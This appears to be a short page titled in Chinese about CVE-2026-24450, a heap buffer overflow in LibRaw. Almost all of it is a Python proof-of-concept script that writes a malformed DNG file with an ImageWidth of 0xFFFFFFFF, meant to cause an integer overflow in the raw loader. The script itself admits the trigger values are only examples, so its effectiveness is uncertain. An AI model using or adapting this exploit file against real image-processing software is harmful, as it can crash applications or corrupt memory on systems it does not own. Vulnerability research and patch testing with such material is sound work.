CVE-2026-24450 LibRaw堆缓冲区溢出漏洞

import struct # PoC for CVE-2026-24450: LibRaw Integer Overflow / Heap Buffer Overflow # This script generates a malformed DNG file designed to trigger the vulnerability. def create_malicious_dng(filename): with open(filename, 'wb') as f: # TIFF Header (Little Endian) f.write(b'II') # Byte Order f.write(struct.pack('<H', 42)) # Magic Number f.write(struct.pack('<I', 8)) # Offset to first IFD # Image File Directory (IFD) num_entries = 1 f.write(struct.pack('<H', num_entries)) # Tag 0x0100 (ImageWidth): Set to a large value to trigger integer overflow # during size calculation in uncompressed_fp_dng_load_raw. # Specific values depend on the vulnerable commit logic. tag = 0x0100 type_code = 4 # LONG count = 1 # Example malicious width value causing overflow value = 0xFFFFFFFF f.write(struct.pack('<H', tag)) f.write(struct.pack('<H', type_code)) f.write(struct.pack('<I', count)) f.write(struct.pack('<I', value)) # Next IFD offset (0 = no more IFDs) f.write(struct.pack('<I', 0)) # Append dummy data to simulate file content f.write(b'A' * 100) if __name__ == "__main__": print("Generating malicious DNG file for CVE-2026-24450...") create_malicious_dng('cve_2026_24450_poc.dng') print("File generated: cve_2026_24450_poc.dng")